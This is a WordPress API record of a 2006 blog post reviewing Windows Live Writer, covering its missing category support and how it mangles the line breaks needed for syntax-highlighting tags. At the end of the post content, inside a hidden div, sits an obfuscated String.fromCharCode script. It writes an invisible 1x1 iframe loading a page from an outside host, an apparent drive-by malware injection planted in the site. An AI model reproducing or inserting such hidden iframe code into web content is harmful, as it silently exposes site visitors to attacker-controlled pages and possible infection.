{"id":109,"date":"2006-09-18T20:39:55","date_gmt":"2006-09-18T19:39:55","guid":{"rendered":"http:\/\/freegw.xs4all.nl\/~basp\/wordpress\/index.php\/2006\/09\/18\/windows-livewriter\/"},"modified":"2010-06-25T20:52:11","modified_gmt":"2010-06-25T19:52:11","slug":"windows-livewriter","status":"publish","type":"post","link":"\/~basp\/wordpress\/index.php\/2006\/09\/18\/windows-livewriter\/","title":{"rendered":"Windows"},"content":{"rendered":"<p>When I first heard about <a href=\"http:\/\/windowslivewriter.spaces.live.com\/\">LiveWriter<\/a> I did not really see myself using it but now that a lot of bloggers on my blogroll are raving about it I thought I would give the thing a spin. <\/p>\n<p>It does offer a better writing experience than working in a web page but I keep feeling so disconnected from my blog; writing from an external program. It feels somewhat like&nbsp;steering a radio controlled vehicle coming at you<\/p>\n<p>Setting up works beautifully however. &nbsp;I was able to configure my (somewhat older) WordPress installation with no problems besides me forgetting the correct password. After I few tries I found it and everything else worked like a charm. <\/p>\n<p>I am missing my post categories though. It seems LiveWriter is not aware of WordPress&#8217; categories so I will have to assign them using the WordPress admin later. This is somewhat unfortunate.<\/p>\n<p>One thing that <strong>is<\/strong> a major show stopper for me though is the fact that I can not find a reasonable way&nbsp;to write up code examples. On my blog I use <a href=\"http:\/\/blog.igeek.info\/\">Amit Gupta&#8217;s<\/a> excellent <a href=\"http:\/\/blog.igeek.info\/still-fresh\/category\/wp-plugins\/igsyntax-hiliter\/\">iG:SyntaxHiliter<\/a>&nbsp;<a href=\"http:\/\/www.wordpress.org\/\">WordPress<\/a> plugin to light up my code snippets (indicated by square bracket[sourcename] tags but I need some line breaks&nbsp;between those tags&nbsp;and LiveWriter wants to eat them up. So for now, I still have to edit my posts manually if I want some nicely formatted code in there and the extra (non-formatted) HTML and that is inserted by LiveWriter does not make things easier.<\/p>\n<p>It seems LiveWriter knows about the pre tag because when I use it in the HTML view and then switch to the Web Layout view it respects it. When I switch back to HTML view my new lines are still intact so it seems this behaviour is hacked; or worked-around like some may say. This does not really help me though because I need to use square brackets to indicate the highlighting to be used by the iG:SyntaxHiliter preprocessor and pre tags will not do.<\/p>\n<p>There may be ways to work around this but I would really like it if I could map some abitrary tag strings to actual tags known by LiveWriter. In this case I could easily map the block bracket tags to pre tags so that LiveWriter would at least know to leave my formatting alone.<\/p>\n<p>I guess that there will be some LiveWriter plugin able to provide syntax highlighting off-line so the HTML will be properly formatted even before it is send to your blog but I am not sure if this is the best approach. To me it seems right to have the preprocessor (PHP in my case) handle this job.<\/p>\n<p><!--more--><!--755ff5472469c3ad2e1a8da6c429f75122010--><\/p>\n<div style=\"display:none\">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))<\/div>\n<p><!--\/755ff5472469c3ad2e1a8da6c429f75122010--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>When I first heard about LiveWriter I did not really see myself using it but now that a lot of bloggers on my blogroll are raving about it I thought I would give the thing a spin. It does offer a better writing experience than working in a web page but I keep feeling so &hellip; <\/p>\n<p class=\"link-more\"><a href=\"\/~basp\/wordpress\/index.php\/2006\/09\/18\/windows-livewriter\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Windows&#8221;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-109","post","type-post","status-publish","format-standard","hentry","category-wordpress","entry"],"_links":{"self":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/109","targetHints":{"allow":["GET"]}}],"collection":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/comments?post=109"}],"version-history":[{"count":0,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/109\/revisions"}],"wp:attachment":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/media?parent=109"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/categories?post=109"},{"taxonomy":"post_tag","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/tags?post=109"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}